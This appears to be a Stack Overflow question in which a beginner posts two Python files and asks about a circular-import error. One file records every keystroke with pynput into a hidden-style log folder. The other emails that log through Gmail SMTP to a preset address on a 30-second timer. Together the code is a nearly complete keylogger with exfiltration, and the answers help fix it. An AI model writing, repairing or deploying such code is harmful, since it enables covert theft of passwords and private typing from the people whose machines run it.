0

I was making some keylogging code for my first security project.

I have 2 python code file named as mainKeylogger.py(capture key log)and mailFunc.py(send mail with keylogging file automatically) under the same directory. When I executed mailFunc.py, there was an error that..

AttributeError: partially initialized module 'mainKeylogger' has no attribute 'keylogFileName' (most likely due to a circular import)

Do you know why error occurs and how to fix it? I searched information about "circular import", Maybe it's because I'm not good enough yet about programming, so I didn't understand well.

I need your help.

All the 2 codes I wrote are below.

mainKeylogger.py

from pynput.keyboard import Key, Listener
import logging
import logging.handlers
import os
import time
import datetime

import mailFunc

import threading

if os.path.isdir('C:\\Keylogging') == False:
    os.mkdir('C:\\Keylogging')

log_dir = ''

now = datetime.datetime.now()
currentTime = now.strftime('%Y-%m-%d_%H-%M-%S')

logging.basicConfig(filename=(log_dir + "C:\\Keylogging\\"+ currentTime +"Key.txt"),
                    level=logging.DEBUG, format='["%(asctime)s". %(message)s]')

keylogFileName = "C:\\Keylogging\\Key_" + currentTime + ".txt"

def on_press(key):
    logging.info('"{0}"'.format(key))

with Listener(on_press = on_press) as listener:
    listener.join()

mailFunc.autoEmailSend(keylogFileName)

mailFunc.py

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email import encoders

import os
import time
import schedule

import threading

import mainKeylogger

def autoEmailSend(filenametosend):
        #erased because it is my private information
        email_user = '(erase)'     
        email_password = '(erase)'      
        email_send = '(erase)'         

        subject = 'Keylogging Automatic Report' 

        msg = MIMEMultipart()
        msg['From'] = email_user
        msg['To'] = email_send
        msg['Subject'] = subject

        body = 'Keylogging Report at ' + time.strftime('%c', time.localtime(time.time()))
        msg.attach(MIMEText(body,'plain'))

        filename = filenametosend
        attachment = open(filename,'rb')

        part = MIMEBase('application','octet-stream')
        part.set_payload((attachment).read())
        encoders.encode_base64(part)
        part.add_header('Content-Disposition',"attachment", filename= os.path.basename(filename))
        msg.attach(part)

        text = msg.as_string()
        server = smtplib.SMTP('smtp.gmail.com',587)
        server.starttls()
        server.login(email_user,email_password)

        server.sendmail(email_user,email_send,text)
        server.quit()

        print("Mail Sended at " + time.strftime('%c', time.localtime(time.time())))

        threading.Timer(30.0, autoEmailSend).start()

autoEmailSend(mainKeylogger.keylogFileName)

I don't have much experience in this field yet and I'm learning English, so I might not be able to explain the problem well (as English). I ask for your understanding.

1
  • 1
    You have two modules that attempt to import each other. That creates a circular dependency. You need to remove one of the imports. The chain of imports must form a cycle-free graph (a directed acyclic graph, or DAG). Commented Sep 6, 2020 at 6:33

1 Answer 1

1

when you import the file, you can use its vars directly

 autoEmailSend(keylogFileName)
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.